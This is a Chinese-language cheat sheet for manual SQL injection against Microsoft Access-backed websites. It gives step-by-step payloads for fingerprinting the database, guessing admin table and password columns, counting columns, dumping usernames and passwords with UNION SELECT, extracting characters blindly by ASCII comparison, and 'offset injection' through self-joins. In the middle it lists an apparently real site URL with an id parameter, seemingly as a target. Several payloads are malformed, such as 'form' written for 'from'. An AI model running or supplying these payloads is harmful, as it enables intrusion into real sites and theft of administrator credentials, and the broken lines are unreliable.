access手工注入

1.判断数据类型

and exists (select * from msysobjects) >0

and exists (select * from sysobjects) >0

一般情况下，Microsoft Access的系统表是msysobjects，默认状态下用户没有访问权限，而Microsoft SQL Server的系统表是sysobjects，默认状态下用户是有访问权限的。
 
若数据库是Microsoft SQL Server，且没有进行参数的过滤，则运行第一个语句后，显示的页面是正常的，第二条语句的结果是异常的；若数据库是Microsoft Access，那么两个链接得到的页面都是异常的。

2.数据库表

and exists (select * from admin)

判断是否存在admin表

3.猜用户、密码字段

and exists (select password from admin)

and exists (select admin from admin)

网页正常即存在，一般密码会采用adminpass,passowrd等字段

4.检测字段长度

order by 20        依次测试

网页正常即存在

5.union select 暴管理用户、密码

union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 from admin
因为有30个字段的长度，所以这样来暴管理和密码。

返回3、5。
我们再改下查询语句
把用户和密码显示出来

union select 1,2,username,4,password,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30 from admin
OK,用户和密码出来了

6.判断密码长度

and (select len(admin) form admin)>6

返回正常说明管理员账户的长度大于6

and (select len(admin) form admin)=7

返回正常说明管理员账户的长度等于7

and (select len(passwd) form admin)>6

and (select len(passwd) form admin)=7

7.通过ascii码判断

第1字符

and (select top 1 asc(mid(admin,1,1)) from admin)>100

返回正常说明大于，不正常说明不大于

and (select top 1 asc(mid(admin,1,1)) from admin)>50

返回正常说明大于

and (select top 1 asc(mid(admin,1,1)) from admin)=97

返回正常说明等于97对应的字母a

第2字符

and (select top 1 asc(mid(admin,2,1)) from admin)>100

返回正常说明大于，不正常说明不大于

第3字符

and (select top 1 asc(mid(admin,3,1)) from admin)>100

返回正常说明大于，不正常说明不大于

and (select top 1 asc(mid(passwd,1,1)) from admin)>100

返回正常说明大于，不正常说明不大于

and (select top 1 asc(mid(passwd,2,1)) from admin)>100

返回正常说明大于，不正常说明不大于

and (select top 1 asc(mid(passwd,3,1)) from admin)>100

返回正常说明大于，不正常说明不大于

http://www.jnqtly.cn/cp11.asp?id=1129

8.偏移注入

偏移注入原理：
1．Union合并查询需要列相等，顺序一样；
2．select * from admin as a inner join admin as b on a.id=b.id 这句话 就是说把admin表记为a，同时也记为b，然后查询条件是a表的id列与b表的id列相等，返回所有相等的行，显然，a,b都是同一个表，当然全部返回啦。不理解的查一查语法吧。
3. *代表了所有字段，如你查admin表，他有几个字段，那么*就代表几个字段
举个例子：admin有5列，那么union select 1,2,3,* from admin如果返回正常，就代表注入的表有8列

大致的语句如下
and 1=2 union select * from (users as a inner join users as b on a.id=b.id )
and 1=2 union select 1,* from (users as a inner join users as b on a.id=b.id )
and 1=2 union select 1,2,* from (users as a inner join users as b on a.id=b.id )
and 1=2 union select 1,2,3,* from (users as a inner join users as b on a.id=b.id )
and 1=2 union select 1,2,3,*-1,* from (users as a inner join users as b on a.id=b.id )
and 1=2 union select 1,a.id,* from (users as a inner join users as b on a.id=b.id )
and 1=2 union select 1,a.id,b.id,* from (users as a inner join users as b on a.id=b.id )
and 1=2 union select *from( from (users as a inner join users as b on a.id=b.id )
and 1=2 union select * from ((select * from admin) as a inner join (select * from admin) as b on a.id=b.id) inner join (select id from admin) as c on c.id=a.id